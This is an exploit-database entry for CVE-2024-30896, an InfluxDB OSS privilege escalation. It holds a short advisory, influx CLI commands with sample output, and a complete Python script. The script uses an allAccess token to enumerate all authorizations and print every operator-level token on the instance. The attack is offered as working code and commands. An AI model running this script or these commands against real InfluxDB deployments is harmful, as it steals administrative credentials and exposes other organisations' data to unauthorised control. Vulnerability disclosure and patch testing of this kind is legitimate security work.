
9 changes to exploits/shellcodes/ghdb InfluxDB OSS 2.7.11 - Operator Token Privilege Escalation Sony XAV-AX5500 1.13 - Firmware Update Validation Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Information Disclosure Jasmin Ransomware - Arbitrary File Download (Authenticated) jQuery 3.3.1 - Prototype Pollution & XSS Exploit Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE) UNA CMS 14.0.0-RC - PHP Object Injection WordPress User Registration & Membership Plugin 4.1.1 - Unauthenticated Privilege Escalation
221 lines
No EOL
8.9 KiB
Python
Executable file
221 lines
No EOL
8.9 KiB
Python
Executable file
# Exploit Title: InfluxDB OSS Operator Privilege Escalation via BusinessLogic Flaw
|
|
# Date: 22/03/2024
|
|
# Exploit Author: Andrea Pasin (Xenom0rph97)
|
|
# Researcher Homepage: https://xenom0rph97.github.io/xeno/
|
|
# GitHub Exploit repo: https://github.com/XenoM0rph97/CVE-2024-30896
|
|
# Software Link: https://www.influxdata.com/products/influxdb/
|
|
# Version: 2.x <=> 2.7.11
|
|
# Tested on: InfluxDB OSS 2.x
|
|
# CVE: CVE-2024-30896
|
|
# CVSS Base Score: 9.1
|
|
# CVSS v3.1 Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
# CVE-2024-30896
|
|
|
|
## Summary
|
|
A business logic flaw in influxdb allows users who own a valid allAccess
|
|
token to escalate their privileges at operator level by listing current
|
|
authorization tokens.
|
|
|
|
## Scenario
|
|
Attacker might be a user which was gained access by an administrator via an
|
|
allAccess token only within their organization.
|
|
This user's permissions will allow full control over the organization but
|
|
will still prevent him to interact with other orgs.
|
|
|
|
## Impact
|
|
This vulnerability would allow a user to obtain unrestricted access to the
|
|
influxdb instance. A similar condition might fully compromise
|
|
Confidentiality, Integrity and Availability of data owned by users of
|
|
different organizations. Additionally, since operator token has
|
|
administrative permissions, Availability and Integrity of the entire
|
|
influxdb instance might be compromised.
|
|
|
|
## Prerequisites/Limitations
|
|
1. Attacker must have a valid allAccess token
|
|
2. allAccess token must have been created in the same Org where an operator
|
|
token resides (ex. same Org as Admin user)
|
|
3. Attacker must be able to interact with influxdb instance via CLI or APIs
|
|
(influxClient)
|
|
|
|
## Steps to Reproduce
|
|
### Case 1: Exploitation via influxdb APIs:
|
|
*Python Version*: 3
|
|
*Requirements*: `influxdb_client==1.41.0`
|
|
*Script usage*
|
|
```
|
|
% python3 ./CVE-2024-30896.py -h
|
|
usage: CVE-2024-30896.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]]
|
|
[-vv [VVERBOSE]]
|
|
|
|
optional arguments:
|
|
-h, --help show this help message and exit
|
|
-t TOKEN, --token TOKEN
|
|
Custom or allAccess token to access influx DB
|
|
instance
|
|
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
|
|
Endpoint Url of influxdb instance (ex. "
|
|
https://myInfluxdbInstance:8086/")
|
|
-v [VERBOSE], --verbose [VERBOSE]
|
|
Enable verbose logging - INFO
|
|
-vv [VVERBOSE], --vverbose [VVERBOSE]
|
|
Enable verbose logging - DEBUG
|
|
```
|
|
|
|
### Case 2: Exploitation via influx CLI
|
|
1. Execute: `influx auth ls -t <allAccessToken> | grep write:/orgs`. This
|
|
will list all current active operator tokens on the influxdb instance.
|
|
|
|
*Example*
|
|
```
|
|
# Using an allAccess token
|
|
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
|
|
|
|
0cc41c3b050e5000 U1OuqmFC{REDACTED}
|
|
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations
|
|
write:orgs/87d0746948a3b3f5/authorizations
|
|
read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets
|
|
read:orgs/87d0746948a3b3f5/dashboards
|
|
write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5
|
|
read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources
|
|
read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks
|
|
read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs
|
|
read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000
|
|
read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables
|
|
read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers
|
|
read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets
|
|
read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels
|
|
read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views
|
|
read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents
|
|
read:orgs/87d0746948a3b3f5/notificationRules
|
|
write:orgs/87d0746948a3b3f5/notificationRules
|
|
read:orgs/87d0746948a3b3f5/notificationEndpoints
|
|
write:orgs/87d0746948a3b3f5/notificationEndpoints
|
|
read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks
|
|
read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp
|
|
read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks
|
|
read:orgs/87d0746948a3b3f5/annotations
|
|
write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes
|
|
write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications
|
|
write:orgs/87d0746948a3b3f5/replications]
|
|
|
|
# Listing all available tokens passing allAccess token and retrieving only
|
|
operator level tokens
|
|
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
|
|
|
|
0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
|
|
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations
|
|
read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs
|
|
write:/orgs read:/sources write:/sources read:/tasks write:/tasks
|
|
read:/telegrafs write:/telegrafs read:/users write:/users read:/variables
|
|
write:/variables read:/scrapers write:/scrapers read:/secrets
|
|
write:/secrets read:/labels write:/labels read:/views write:/views
|
|
read:/documents write:/documents read:/notificationRules
|
|
write:/notificationRules read:/notificationEndpoints
|
|
write:/notificationEndpoints read:/checks write:/checks read:/dbrp
|
|
write:/dbrp read:/notebooks write:/notebooks read:/annotations
|
|
write:/annotations read:/remotes write:/remotes read:/replications
|
|
write:/replications]
|
|
|
|
influxdb_client==1.41.0
|
|
|
|
import influxdb_client
|
|
import argparse
|
|
import logging
|
|
import sys
|
|
|
|
argParser = argparse.ArgumentParser()
|
|
argParser.add_argument("-t", "--token", type=str, help="Custom or allAccess token to access influx DB instance")
|
|
argParser.add_argument("-e", "--endpointUrl", type=str, help="Endpoint Url of influxdb instance (ex. \"https://myInfluxdbInstance:8086/\")")
|
|
argParser.add_argument("-v", "--verbose", type=bool, const=True, nargs='?', help="Enable verbose logging - INFO")
|
|
argParser.add_argument("-vv", "--vverbose", type=bool, const=True, nargs='?', help="Enable verbose logging - DEBUG")
|
|
|
|
args = argParser.parse_args()
|
|
|
|
# Using user retrieved values or default (hardcoded) ones
|
|
all_access_token = "<allAccessToken>"
|
|
influx_endpoint_url = "<influxdbEndpointUrl>"
|
|
|
|
# Defining some colors
|
|
red = "\033[31m"
|
|
yellow = "\033[93m"
|
|
purple = "\33[1;95m"
|
|
green = "\033[0;92m"
|
|
cyan = "\033[96m"
|
|
bold ="\033[1m"
|
|
endc = "\033[39m"
|
|
|
|
if args.vverbose == True:
|
|
logging.basicConfig(level=logging.DEBUG)
|
|
elif args.verbose == True:
|
|
logging.basicConfig(level=logging.INFO)
|
|
|
|
logger = logging.getLogger()
|
|
|
|
if args.token:
|
|
token = args.token
|
|
else:
|
|
logger.debug(f"{yellow}User did not set a token, using default one{endc}")
|
|
token = all_access_token
|
|
|
|
if args.endpointUrl:
|
|
endpointUrl = args.endpointUrl
|
|
else:
|
|
logger.debug(f"{yellow}User did not set an endpoint Url for influxdb, using default one{endc}")
|
|
endpointUrl = influx_endpoint_url
|
|
|
|
logger.info(f"{cyan}Connecting to influx DB instance{endc}")
|
|
# Connecting to influxdb instance
|
|
try:
|
|
conn = influxdb_client.InfluxDBClient(
|
|
url=endpointUrl,
|
|
token=token,
|
|
debug=False,
|
|
verify_ssl=True
|
|
)
|
|
|
|
# Verify InfluxDB connection
|
|
health = conn.ping()
|
|
if not health:
|
|
logger.error(f"{red}Unable to connect to db instace " + endpointUrl + f"{endc}")
|
|
print(f"{red}Quitting execution...{endc}")
|
|
sys.exit(1)
|
|
|
|
except Exception as e:
|
|
logger.error(f"{red}Failed to connect to db instance: " + endpointUrl + " Error: " + str(e) + f"{endc}")
|
|
print(f"{red}Quitting execution...{endc}")
|
|
sys.exit(1)
|
|
|
|
# Retrieving all current auths
|
|
logger.debug(f"{yellow}Retrieving all auth tokens{endc}")
|
|
print(f"{cyan}Enumerating current authorizations...{endc}")
|
|
try:
|
|
auths = conn.authorizations_api().find_authorizations()
|
|
except Exception as e:
|
|
logger.error(f"{red}Unable to retrieve authorizations. ERR: " + str(e) +f"{endc}")
|
|
print(f"{red}Unable to retrieve authorizations. Quitting...{endc}")
|
|
sys.exit(1)
|
|
if not auths:
|
|
print(f"{cyan}No Authorization tokens found on the instance{endc}")
|
|
sys.exit(1)
|
|
print(f"{cyan}{str(len(auths))} tokens found on the instance{endc}\n")
|
|
# Extracting operator token -> Parsing permissions to look for ("org = None" and "authType = write/auths"), not 100% efficiency -> TO OPTIMIZE
|
|
logger.debug(f"{yellow}Parsing auth permissions to retrieve operator tokens{endc}")
|
|
print(f"{cyan}Enumerating all operator tokens:{endc}")
|
|
op_tokens = []
|
|
# In order to understand if a token is of type "operator" we need to enumerate all permissions and look for "write/auths" on org 'None' -> Unrescticted access
|
|
try:
|
|
for auth in auths:
|
|
if auth.permissions:
|
|
for perm in auth.permissions:
|
|
if perm.action == "write" and perm.resource.org == None and perm.resource.type == "authorizations":
|
|
op_tokens.append(auth.token)
|
|
except Exception as e:
|
|
logger.error(f"{red}Unable to parse permissions on found authorizations. ERR: " + str(e) + f"{endc}")
|
|
print(f"{red}Unable to parse permissions on found authorizations. Quitting execution...{endc}")
|
|
sys.exit(1)
|
|
|
|
logger.info(f"{cyan}Printing all operator auth tokens{endc}")
|
|
print(f"{cyan}{str(len(op_tokens))} operator tokens found.\n\nListing all operator tokens:\n{endc}")
|
|
for op_t in op_tokens:
|
|
print(f"{green}{op_t}{endc}") |